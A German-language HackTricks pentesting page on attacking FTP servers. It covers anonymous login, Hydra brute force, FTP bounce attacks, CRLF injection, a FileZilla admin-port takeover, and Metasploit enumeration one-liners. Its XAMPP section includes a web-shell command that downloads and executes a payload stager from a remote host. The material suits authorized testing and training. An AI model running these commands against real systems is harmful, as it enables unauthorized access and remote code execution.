21 - Pentesting FTP
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Das File Transfer Protocol (FTP) dient als Standardprotokoll für die Übertragung von Dateien über ein Computernetzwerk zwischen einem Server und einem Client.
Es ist ein Klartext-Protokoll, das als Zeilenumbruchzeichen 0x0d 0x0a verwendet, daher müssen Sie sich manchmal mit telnet oder nc -C verbinden.
Standardport: 21
PORT STATE SERVICE
21/tcp open ftp
Verbindungen — Active & Passive
In Active FTP der FTP client initiiert zuerst die control connection von seinem Port N zum Command-Port des FTP Servers – Port 21. Der client lauscht dann auf Port N+1 und sendet Port N+1 an den FTP Server. Der FTP Server initiiert dann die data connection, von seinem Port M zum Port N+1 des FTP Client.
Aber, wenn der FTP Client eine Firewall hat, die die eingehenden data connections von außen kontrolliert, kann Active FTP problematisch sein. Eine praktikable Lösung dafür ist Passive FTP.
In Passive FTP, der client initiiert die control connection von seinem Port N zum Port 21 des FTP Servers. Danach gibt der client den passv comand aus. Der server sendet dem client daraufhin eine seiner Portnummern M. Und der client initiiert die data connection von seinem Port P zum Port M des FTP Servers.
Quelle: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
Connection debugging
Die FTP-Befehle debug und trace können verwendet werden, um zu sehen, wie die Kommunikation abläuft.
Enumeration
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
Verbindung zu FTP mit starttls herstellen
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Unauth enum
Mit nmap
sudo nmap -sV -p21 -sC -A 10.10.10.10
Sie können die Befehle HELP und FEAT verwenden, um Informationen über den FTP-Server zu erhalten:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
Anonymer Login
anonymous : anonymous
_anonymous :
_ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
Hier findest du eine gute Liste mit Standard-FTP-Zugangsdaten: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
Automatisiert
Anon login- und bounce-FTP-Checks werden standardmäßig von nmap mit der Option -sC durchgeführt oder:
nmap --script ftp-* -p 21 <ip>
Browser-Verbindung
Sie können mit einem Browser (z. B. Firefox) über eine URL wie folgt eine Verbindung zu einem FTP-Server herstellen:
ftp://anonymous:anonymous@10.10.10.98
Beachte, dass wenn eine web application Daten, die von einem Benutzer kontrolliert werden, directly to a FTP server sendet, du double URL encode %0d%0a (in double URL encode this is %250d%250a) Bytes senden kannst und dadurch den FTP server perform arbitrary actions lassen kannst. Eine dieser möglichen Aktionen ist das Herunterladen von Inhalten von einem vom Benutzer kontrollierten Server, perform port scanning oder versuchen, mit anderen plain-text based services (like http) zu kommunizieren.
Alle Dateien vom FTP herunterladen
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
Wenn Ihr Benutzername/Passwort Sonderzeichen enthält, kann der folgende Befehl verwendet werden:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
FTP-Root auf Webroot abgebildet (XAMPP)
- XAMPP/ProFTPD mappt häufig das FTP-Root auf
/opt/lampp/htdocs, daher erlauben schwache Zugangsdaten für Service-Accounts wiedaemonodernobody, dass du eine PHP web shell direkt in das ausgelieferte Webroot hochlädst. - Nach dem Upload starte über die Shell einen architekturabhängigen download/exec stager, zum Beispiel:
webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), der ein checksum-validiertes Payload holt, speichert (z. B.init_start),chmod +xsetzt und ausführt. - Falls das aktuelle Verzeichnis nicht beschreib- bzw. ausführbar ist, fällt der stager auf
/tmpzurück, teste also nach dem Upload Webpfade und Dateisystemrechte.
Einige FTP-Befehle
USER usernamePASS passwordHELPDer Server zeigt an, welche Befehle unterstützt werdenPORT 127,0,0,1,0,80Dies weist den FTP-Server an, eine Verbindung mit der IP 127.0.0.1 auf Port 80 herzustellen (du musst das 5. Zeichen als “0” setzen und das 6. als den Port in Dezimal oder die 5. und 6. verwenden, um den Port in Hex auszudrücken).EPRT |2|127.0.0.1|80|Dies weist den FTP-Server an, eine TCP-Verbindung (angezeigt durch “2”) mit der IP 127.0.0.1 auf Port 80 herzustellen. Dieser Befehl unterstützt IPv6.LISTListet die Dateien im aktuellen Ordner aufLIST -RRekursiv auflisten (falls vom Server erlaubt)APPE /path/something.txtDies weist den FTP-Server an, die aus einer passiven Verbindung oder aus einer PORT/EPRT-Verbindung empfangenen Daten in eine Datei zu speichern. Existiert der Dateiname, werden die Daten angehängt.STOR /path/something.txtWieAPPE, aber überschreibt die Datei(en)STOU /path/something.txtWieAPPE, aber wenn die Datei existiert, passiert nichts.RETR /path/to/fileEs muss eine passive oder eine PORT-Verbindung hergestellt werden. Dann sendet der FTP-Server die angegebene Datei über diese VerbindungREST 6Dies teilt dem Server mit, dass er beim nächsten Senden mitRETRab dem 6. Byte beginnen soll.TYPE iSetzt den Transfer auf binärPASVÖffnet eine passive Verbindung und teilt dem Benutzer mit, wohin er sich verbinden kannPUT /tmp/file.txtLädt die angegebene Datei auf den FTP-Server hoch
.png)
FTPBounce attack
Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server mitzuteilen, dass er sich mit einem anderen FTP-Server an einem bestimmten Port verbinden soll. Damit kannst du über einen FTP-Server scannen, welche Ports eines Hosts offen sind.
Learn here how to abuse a FTP server to scan ports.
Du kannst dieses Verhalten auch missbrauchen, damit ein FTP-Server mit anderen Protokollen interagiert. Du könntest eine Datei hochladen, die eine HTTP-Anfrage enthält, und den verwundbaren FTP-Server dazu bringen, sie an einen beliebigen HTTP-Server zu senden (vielleicht um einen neuen Admin-Benutzer hinzuzufügen?) oder sogar eine FTP-Anfrage hochladen und den verwundbaren FTP-Server eine Datei für einen anderen FTP-Server herunterladen lassen. Die Theorie ist einfach:
- Upload the request (inside a text file) to the vulnerable server. Denk daran, dass du, wenn du mit einem anderen HTTP- oder FTP-Server kommunizieren willst, Zeilen mit
0x0d 0x0aanpassen musst - Use
REST Xto avoid sending the characters you don’t want to send (vielleicht musstest du, um die Anfrage in die Datei zu laden, am Anfang einen Image-Header platzieren) - Use
PORTto connect to the arbitrary server and service - Use
RETRto send the saved request to the server.
Es ist sehr wahrscheinlich, dass dies einen Fehler wie Socket not writable auslösen wird, weil die Verbindung nicht lange genug besteht, um die Daten mit RETR zu senden. Vorschläge, um das zu vermeiden, sind:
- If you are sending an HTTP request, put the same request one after another until ~0.5MB at least. Like this:
- Versuche, die Anfrage mit “Junk”-Daten zu füllen, die zum Protokoll passen (bei FTP vielleicht einfach Junk-Befehle oder das Wiederholen der
RETR-Anweisung, um die Datei zu bekommen) - Fülle die Anfrage einfach mit vielen Null-Bytes oder anderem (auf mehrere Zeilen verteilt oder nicht)
Anyway, here you have an old example about how to abuse this to make a FTP server download a file from a different FTP server.
Filezilla Server Vulnerability
FileZilla bindet normalerweise lokal einen Administrationsdienst für den FileZilla-Server (Port 14147). Wenn du von deinem Rechner einen Tunnel zu diesem Port erstellen kannst, kannst du dich mit ihm verbinden, ein leeres Passwort verwenden und einen neuen Benutzer für den FTP-Dienst erstellen.
Config files
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Post-Exploitation
Die Standardkonfiguration von vsFTPd befindet sich in /etc/vsftpd.conf. Dort können sich einige gefährliche Einstellungen befinden:
anonymous_enable=YESanon_upload_enable=YESanon_mkdir_write_enable=YESanon_root=/home/username/ftp- Verzeichnis für anonyme Benutzer.chown_uploads=YES- Ändert den Eigentümer von anonym hochgeladenen Dateienchown_username=username- Benutzer, dem die Eigentümerschaft anonym hochgeladener Dateien zugewiesen wirdlocal_enable=YES- Aktiviert Login für lokale Benutzerno_anon_password=YES- Fragt anonyme Benutzer nicht nach einem Passwortwrite_enable=YES- Erlaubt Befehle: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE und SITE
Shodan
ftpport:21
HackTricks Automatic Commands
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


